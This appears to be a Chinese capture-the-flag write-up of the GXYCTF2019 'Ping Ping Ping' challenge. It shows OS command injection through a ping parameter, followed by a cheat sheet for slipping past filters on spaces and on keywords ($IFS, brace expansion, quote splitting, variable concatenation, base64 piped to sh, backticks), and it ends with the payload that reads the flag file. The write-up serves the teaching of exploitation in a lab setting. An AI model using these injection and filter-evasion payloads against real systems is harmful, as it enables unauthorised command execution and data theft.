[GXYCTF2019]Ping Ping Ping

题目分析

1.访问网站
在这里插入图片描述
2.提示输入/?ip,这样,我们输入url

/?ip=127.0.0.1

在这里插入图片描述发现返回结果正确,所以,这应该是一个远程命令执行漏洞

3.测试输入

/?ip=1;whoami

在这里插入图片描述
返回结果正确,说明确实是远程命令执行漏洞,而且对方主机是linux

4.查找flag

/?ip=1;ls /  #发现没有结果
/?ip=1;cat ls

在这里插入图片描述发现flag.php

5.查看flag.php

/?ip=1;cat flag.php  #检查页面源代码,没有显示结果(必须通过检车页面源代码,因为php代码有些东西会被前端自动渲染而不显示)
#由此,第一个猜测是过滤了空格
#空格绕过方法
$IFS
${IFS}
$IFS$1   //$1改成$加其他数字貌似都行
$IFS$9     后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php
< 
<> 
{cat,flag.php}  //用逗号实现了空格功能
%20 
%09 

发现只有输入cat$IFSflag.php时,提示
在这里插入图片描述
说明

$IFS可绕过空格

接下来,因为上面提示我们 fxck your flag,所以猜是过滤了关键字flag,所以我们绕过flag

关键字绕过方法总结

#以flag为例
单引号绕过 fla'g'
双引号绕过 fla"g"
反斜线绕过 f\lag
变量拼接绕过 a=g;cat$IFS$1fla$a.php
$+任意数字绕过 fl$1ag 
Base64绕过 cat flag.php 的base64编码为Y2F0IGZsYWcucGhw
  echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
内联绕过 就是将反引号内命令的输出作为输入执行
  cat `ls`

经过测试,使用变量拼接可以绕过

/?ip=1;a=g;cat$3$IFS$1fla$a.php

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值